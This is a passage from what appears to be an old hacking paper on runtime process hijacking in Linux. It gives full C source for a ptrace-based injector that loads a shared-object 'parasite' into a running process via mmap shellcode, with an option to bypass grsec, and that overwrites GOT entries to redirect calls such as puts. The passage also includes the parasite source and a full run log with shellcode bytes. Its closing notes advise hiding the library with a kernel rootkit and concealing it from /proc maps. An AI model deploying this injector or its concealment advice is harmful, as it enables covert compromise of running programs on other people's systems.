/* this parses/pulls the R_386_JUMP_SLOT relocation entries from our process */

struct linking_info * get_plt(unsigned char *mem)
{
    Elf32_Ehdr *ehdr;
    Elf32_Shdr *shdr, *shdrp, *symshdr;
    Elf32_Sym *syms, *symsp;
    Elf32_Rel *rel;

    char *symbol;
    int i, j, symcount, k;

    struct linking_info *link;

    ehdr = (Elf32_Ehdr *)mem;
    shdr = (Elf32_Shdr *)(mem + ehdr->e_shoff);
```

```
shdrp = shdr;

for (i = ehdr->e_shnum; i-- > 0; shdrp++)
{
	if (shdrp->sh_type == SHT_DYNSYM)
	{
		symshdr = &shdr[shdrp->sh_link];
		if ((symbol = malloc(symshdr->sh_size)) == NULL)
			goto fatal;
		memcpy(symbol, (mem + symshdr->sh_offset), symshdr->sh_size);

		if ((syms = (Elf32_Sym *)malloc(shdrp->sh_size)) == NULL)
			goto fatal;

		memcpy((Elf32_Sym *)syms, (Elf32_Sym *)(mem + shdrp->sh_offset), shdrp->sh_size);
		symsp = syms;

		symcount = (shdrp->sh_size / sizeof(Elf32_Sym));
		link = (struct linking_info *)malloc(sizeof(struct linking_info) * symcount);
		if (!link)
			goto fatal;

		link[0].count = symcount;
		for (j = 0; j < symcount; j++, symsp++)
		{
			strncpy(link[j].name, &symbol[symsp->st_name], sizeof(link[j].name)-1);
			if (!link[j].name)
				goto fatal;
			link[j].index = j;
		}
		break;
	}
}
for (i = ehdr->e_shnum; i-- > 0; shdr++)
{
	switch(shdr->sh_type)
	{
		case SHT_REL:
			rel = (Elf32_Rel *)(mem + shdr->sh_offset);
			for (j = 0; j < shdr->sh_size; j += sizeof(Elf32_Rel), rel++)
			{
				for (k = 0; k < symcount; k++)
				{
					if (ELF32_R_SYM(rel->r_info) == link[k].index)
```

```
                                link[k].offset = rel->r_offset;
                        }
                    }
                    break;
                case SHT_RELA:
                    break;

                default:
                    break;
            }
        }

        return link;
        fatal:
            return NULL;
}

unsigned long search_evil_lib(int pid, unsigned long vaddr)
{
        unsigned char *buf;
        int i = 0, ret;
        int j = 0, c = 0;
        unsigned long evilvaddr = 0;

        if ((buf = malloc(LIBSIZE)) == NULL)
        {
            perror("malloc");
            exit(-1);
        }

        ret = memrw((unsigned long *)buf, vaddr, LIBSIZE, pid, 0);
        printf("Searching at library base [0x%x] for evil function\n", vaddr);

            for (i = 0; i < LIBSIZE; i++)
        {
             if (buf[i] == evilsig[0] && buf[i+1] == evilsig[1] && buf[i+2] == evilsig[2]
            && buf[i+3] == evilsig[3] && buf[i+4] == evilsig[4] && buf[i+5] == evilsig[5]
            && buf[i+6] == evilsig[6] && buf[i+7] == evilsig[7])
            {
                evilvaddr = (vaddr + i);
                break;
            }
        }
```

```
            c = 0;
        j = evilvaddr;
        printf("Printing parasite code ->\n");
        while (j++ < evilvaddr + 50)
        {
            if ((c++ % 20) == 0)
                printf("\n");
            printf("%.2x ", buf[i++]);
        }
        printf("\n");

        if (evilvaddr)
            return (evilvaddr);
        return 0;
}

int check_for_lib(char *lib, FILE *fd)
{
        char buf[MAXBUF];

            while(fgets(buf, MAXBUF-1, fd))
            if (strstr(buf, lib))
                return 1;
        return 0;
}

int main(int argc, char **argv)
{
        char meminfo[20], ps[7], buf[MAXBUF], tmp[MAXBUF], *p, *file;
        char *function, et_dyn = 0, grsec = 0;
        FILE *fd;
        uint32_t i;
        struct stat st;
        unsigned char *mem;
        int md, status;
        Elf32_Ehdr *ehdr;
        Elf32_Phdr *phdr;
        Elf32_Addr text_vaddr, got_offset;
        Elf32_Addr export, elf_base, dyn_mmap_got_addr;
        unsigned long evilfunc;
        struct linking_info *lp;
        int pid;
        unsigned char *libc;
```

```
        if (argc < 3)
{
        usage:
        printf("Usage: %s <pid> <function> [opts]\n"
                "-d      ET_DYN processes\n"
                "-g      bypass grsec binary flag restriction \n"
                "-2      Meant to be used as a secondary method of\n"
                "finding sysenter with -g; if -g fails, then add -2\n"
                "Example 1: %s <pid> <function> -g\n"
                "Example 2: %s <pid> <function> -g -2\n", argv[0],argv[0],argv[0]);

                        exit(0);
}
i = 0;

while (argv[1][i] >= '0' && argv[1][i] <= '9')
      i++;
if (i != strlen(argv[1]))
        goto usage;

        if (argc > 3)
{
        if (argv[3][0] == '-' && argv[3][1] == 'd')
                et_dyn = 1;

                        if (argv[3][0] == '-' && argv[3][1] == 'g')
                grsec = 1;
        if (argv[4] && !strcmp(argv[4], "-2"))
                static_sysenter = 1;
        else
        if (argv[4])
        {
                printf("Unrecognized option: %s\n", argv[4]);
                goto usage;
        }

                }
pid = atoi(argv[1]);
if((function = strdup(argv[2])) == NULL)
{
        perror("strdup");
        exit(-1);
}
```

```
snprintf(meminfo, sizeof(meminfo)-1, "/proc/%d/maps", pid);

if ((fd = fopen(meminfo, "r")) == NULL)
{
      printf("PID: %i cannot be checked, /proc/%i/maps does not exist\n", pid, pid);
      return -1;
}

/* ET_DYN */
if (et_dyn)
{
      while (fgets(buf, MAXBUF-1, fd))
      {
            if (strstr(buf, "r-xp") && !strstr(buf, ".so"))
            {
                  strncpy(tmp, buf, MAXBUF-1);

                                          if ((p = strchr(buf, '-')))
                        *p = '\0';

                  text_base = strtoul(buf, NULL, 16);

                        if (strchr(tmp, '/'))
                        while (tmp[i++] != '/');
                  else
                  {
                        fclose(fd);
                        printf("error parsing pid map\n");
                        exit(-1);
                  }
                  if ((file = strdup((char *)&tmp[i - 1])) == NULL)
                  {
                        perror("strdup");
                        exit(-1);
                  }
                  i = 0;
                  while (file[i++] != '\n');
                  file[i - 1] = '\0';
                  goto next;
            }
      }
}
/* ET_EXEC */
```

```
fgets(buf, MAXBUF-1, fd);
strncpy(tmp, buf, MAXBUF-1);

if (strchr(tmp, '/'))
        while (tmp[i++] != '/');
else
{
        fclose (fd);
        printf("error parsing pid map\n");
        exit(-1);
}
if ((file = strdup((char *)&tmp[i - 1])) == NULL)
{
        perror("strdup");
        exit(-1);
}

i = 0;
while (file[i++] != '\n');
file[i - 1] = '\0';

        next:

        if ((md = open(file, O_RDONLY)) == -1)
{
        perror("open");
        exit(-1);
}

if (fstat(md, &st) < 0)
{
        perror("fstat");
        exit(-1);
}

mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, md, 0);
if (mem == MAP_FAILED)
{
        perror("mmap");
        exit(-1);
}

        ehdr = (Elf32_Ehdr *)mem;
```

```
if (ehdr->e_ident[0] != 0x7f && strcmp(&ehdr->e_ident[1], "ELF"))
{
	printf("%s is not an ELF file\n", file);
	goto done;
}

/* we target executables only, althoug ET_DYN would be a viable target */
/* as well */
if (ehdr->e_type != ET_EXEC && ehdr->e_type != ET_DYN)
{
	printf("%s is not an executable or object file, cannot target process %d\n", file, pid);
	goto done;
}
if (ehdr->e_type == ET_DYN && !et_dyn)
{
	printf("Target process is of type ET_DYN, but the '-d' option was not specified -- exiting...\n");
	goto done;
}

phdr = (Elf32_Phdr *)(mem + ehdr->e_phoff);

	/* get the base -- p_vaddr of text segment */
for (i = ehdr->e_phoff; i-- > 0; phdr++)
{
	if (phdr->p_type == PT_LOAD && !phdr->p_offset)
	{
		elf_base = text_base = phdr->p_vaddr;
		phdr++;
		data_segment = phdr->p_vaddr;
		break;
	}
}

if (ptrace(PTRACE_ATTACH, pid, NULL, NULL))
{
	printf("Failed to attach to process\n");
	exit(-1);
}
waitpid(pid, &status, WUNTRACED);

	/* get the symbol relocation information */
if ((lp = (struct linking_info *)get_plt(mem)) == NULL)
{
	printf("get_plt() failed\n");
```

```
        goto done;
}

        /* inject mmap shellcode into process to load lib */
if (check_for_lib(EVILLIB, fd) == 0)
{
        printf("Injecting library\n");
        if (grsec)
                grsec_mmap_library(pid);
        else
                mmap_library(pid);
        if (ptrace(PTRACE_ATTACH, pid, NULL, NULL))
        {
                perror("ptrace_attach");
                exit(-1);
        }
        waitpid(pid, &status, WUNTRACED);
        fclose(fd);

        if ((fd = fopen(meminfo, "r")) == NULL)
        {
                printf("PID: %i cannot be checked, /proc/%i/maps does not exist\n", pid, pid);
                return -1;
        }
}
else
{
        printf("Process %d appears to be infected, %s is mmap'd already\n", pid, EVILLIB);
        goto done;
}

if ((evilfunc = search_evil_lib(pid, evil_base)) == 0)
{
        printf("Could not locate evil function\n");
        goto done;
}

        printf("Evil Function location: %x\n", evilfunc);
printf("Modifying GOT entry: replace <%s> with %x\n", function, evilfunc);

        /* overwrite GOT entry with addr to evilfunc (our replacement) */

          for (i = 0; i < lp[0].count; i++)
{
```

```
        if (strcmp(lp[i].name, function) == 0)
        {
            if (et_dyn)
                dyn_mmap_got_addr = (evil_base + (lp[i].offset - elf_base));

                        got_offset = (!et_dyn) ? lp[i].offset : dyn_mmap_got_addr;

            export = memrw(NULL, got_offset, 1, pid, evilfunc);
            if (export == evilfunc)
                printf("Successfully modified GOT entry\n\n");
            else
            {
                printf("Failed at modifying GOT entry\n");
                goto done;
            }
            printf("New GOT value: %x\n", export);

        }
    }

        unsigned char evil_code[256];
    unsigned char initial_bytes[12];
    unsigned long injection_vaddr = 0;

    /* get a copy of our replacement function and search for transfer sequence */
    memrw((unsigned long *)evil_code, evilfunc, 256, pid, 0);

        /* once located, patch it with the addr of the original function */
    for (i = 0; i < 256; i++)
    {
        printf("%.2x ", evil_code[i]);
        if (evil_code[i] == tc[0] && evil_code[i+1] == tc[1] && evil_code[i+2] == tc[2] && evil_code[i+3] ==
tc[3])
        {
            printf("\nLocated transfer code; patching it with %x\n", original);
            injection_vaddr = (evilfunc + i) + 3;
            break;
        }
    }

    if (!injection_vaddr)
    {
        printf("Could not locate transfer code within parasite\n");
        goto done;
    }
```

```
        /* patch jmp code with addr to original function */
        memrw((unsigned long *)initial_bytes, injection_vaddr, INJECT_TRANSFER_CODE, pid, original);

                printf("Confirm transfer code: ");
        for (i = 0; i < 7; i++)
                printf("\\x%.2x", initial_bytes[i]);
        puts("\n");

                done:
        munmap(mem, st.st_size);
        if (ptrace(PTRACE_DETACH, pid, NULL, NULL) == -1)
                perror("ptrace_detach");

        close(md);
        fclose(fd);
        exit(0);

}
```

Here is the example shared object parasite

```
/* libtest.c */

#include <sys/syscall.h>
#include <sys/types.h>

int evilprint (char *);

static int
_write (int fd, void *buf, int count)
{
  long ret;

  __asm__ __volatile__ ("pushl %%ebx\n\t"
                        "movl %%esi,%%ebx\n\t"
                        "int $0x80\n\t" "popl %%ebx":"=a" (ret)
                        :"0" (SYS_write), "S" ((long) fd),
                        "c" ((long) buf), "d" ((long) count));
  if (ret >= 0) {
    return (int) ret;
  }
  return -1;
}

int
evilprint (char *buf)
```

```
{

 /* allocate strings on the stack */
 /* so they aren't stored in .rodata */

 char new_string[5];
     new_string[0] = 'e';
     new_string[1] = 'v';
     new_string[2] = 'i';
     new_string[3] = 'l';
     new_string[4] = 0;

 char msg[5];
     msg[0] = 'I';
     msg[1] = ' ';
     msg[2] = 'a';
     msg[3] = 'm';
     msg[4] = 0;

 char nl[1];
     nl[0]= '\n';

 int (*origfunc)(char *p) = 0x00000000;

 /* just to demonstrate calling */
 /* a syscall from our shared lib */
 _write(1, (char *)msg, 4);
 _write(1, (char *)nl, 1);

 /* pass our new arg to the original function */
 origfunc(new_string);

   /*
 Remember this is an alternative way to transfer control back --
 __asm__ __volatile__
 ("movl %ebp, %esp\n" "pop %ebp\n" "movl $0x00000000, %eax\n" "jmp *%eax");
 */
}

void
_init ()
{
}
void
_fini ()
```

{
}

Here is an example:

```
localhost # gcc -fPIC -c libtest.c -nostdlib
localhost # ld -shared -o libtest.so.1.0 libtest.o
localhost # cp libtest.so.1.0 /lib
localhost # gcc dlh.c -o dlh
localhost # ps aux | grep test
root     16651  0.0  0.0   1436   308 pts/25   S+   12:34   0:00 ./test
localhost # ./dlh 16651 puts

%eip -> 0xb7e60e9b
Injecting mmap_shellcode at 0x8048000
Here is the saved code we will be overwriting:

\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00
\x01\x00\x00\x00\x40\x83\x04\x08\x34\x00\x00\x00\x04\x12\x00\x00\x00\x00\x00\x00
\x34\x00\x20\x00\x09\x00\x28\x00\x1d\x00\x1a\x00\x06\x00\x00\x00\x34\x00\x00\x00
\x34\x80\x04\x08\x34\x80\x04\x08\x20\x01\x00\x00\x20\x01\x00\x00\x05\x00\x00\x00
\x04\x00\x00\x00\x03\x00\x00\x00\x54\x01

Verifying shellcode was injected properly, does this look ok?

\xe9\x3b\x00\x00\x00\x31\xc9\xb0\x05\x5b\x31\xc9\xcd\x80\x83\xec\x18\x31\xd2\x89
\x14\x24\xc7\x44\x24\x04\x00\x20\x00\x00\xc7\x44\x24\x08\x07\x00\x00\x00\xc7\x44
\x24\x0c\x02\x00\x00\x00\x89\x44\x24\x10\x89\x54\x24\x14\xb8\x5a\x00\x00\x00\x89
\xe3\xcd\x80\xcc\xe8\xc0\xff\xff\xff\x2f\x6c\x69\x62\x2f\x6c\x69\x62\x74\x65\x73
\x74\x2e\x73\x6f\x2e\x31\x2e\x30\x00\x00

Setting %eip to 0x8048000
%eip is now at 0x8048040, resetting it to 0xb7e60e9b
inserting original code back
Reading from process image at 0xb7f0f000
Searching at library base [0xb7f0f000] for evil function
Printing parasite code ->

55 89 e5 83 ec 18 c6 45 f7 65 c6 45 f8 76 c6 45 f9 69 c6 45
fa 6c c6 45 fb 00 c6 45 f2 49 c6 45 f3 20 c6 45 f4 61 c6 45
f5 6d c6 45 f6 00 c6 45 f1 0a
Evil Function location: b7f0f248
Modifying GOT entry: replace <puts> with b7f0f248
Modifying GOT(804a00c)
Successfully modified GOT entry

New GOT value: b7f0f248
```

```
Reading from process image at 0xb7f0f248
55 89 e5 83 ec 18 c6 45 f7 65 c6 45 f8 76 c6 45 f9 69 c6 45 fa 6c c6 45 fb 00
c6 45 f2 49 c6 45 f3 20 c6 45 f4 61 c6 45 f5 6d c6 45 f6 00 c6 45 f1 0a c7
Located transfer code; patching it with b7e2b5c0
Injecting b7e2b5c0 at 0xb7f0f27d
Confirm transfer code: \xfc\xc0\xb5\xe2\xb7\x6a\x04
localhost #

At this point the target process has been hijacked

localhost # ./test
test!
test!
test!
test!
test!
test!
test!
test!
I am
evil
I am
evil
I am
evil
```

8 - After thoughts

1 Improvements

The method shown in this paper could probably be improved in many ways I have not thought of. The primary thing that come to mind is to provide a more flexible loader that does relocation, and does not require the parasite be compiled without relocations. This could be done especially easy when _dlopen_ was present in libc, and although __libc_dlopen_mode works similarly, I have not studied it enough or spent a whole lot of time trying to get it to work as a loader for a target process, as mmap() suites me. I think ultimately it would be a somewhat trivial task, but as this paper was merely a side step from my real project, it didn't seem worth pursuing since I have more significant projects.

2 ELFsh

One other thing to mention is elfsh; elfsh is now apart of eresi -- ELF Reverse Engineering Software Interface. Elfsh is a scripting interpreter that can be used to implement hijackers (among many many other things) like the one in this paper (and more advanced) with very little effort. Check it: http://www.eresi-project.org/

3 Staying hidden

Keep in mind that it is imperative to make sure your shared object is hidden i.e via a kernel rootkit, otherwise its going to be easily found on disk. Additionally, the shared object that you are loading is visible in the /proc/<pid>/maps file and that line should always be hidden as well. Another alternative is of course to directly modify shared objects on the system which has the benefits of not making a mess anywhere else on disk but can be detected via regular md5 checks.

Thank you, and enjoy.

9 - References / Reading Material

1. Cheating the ELF by grugq
2. ELF PLT infection by Silvio
3. ELF Relocation explained
4. ELF Specification
5. Embedded ELF Debugging
6. RTLD internals by Mayhem
7. ptrace(2)

[Back to index] [Comments]
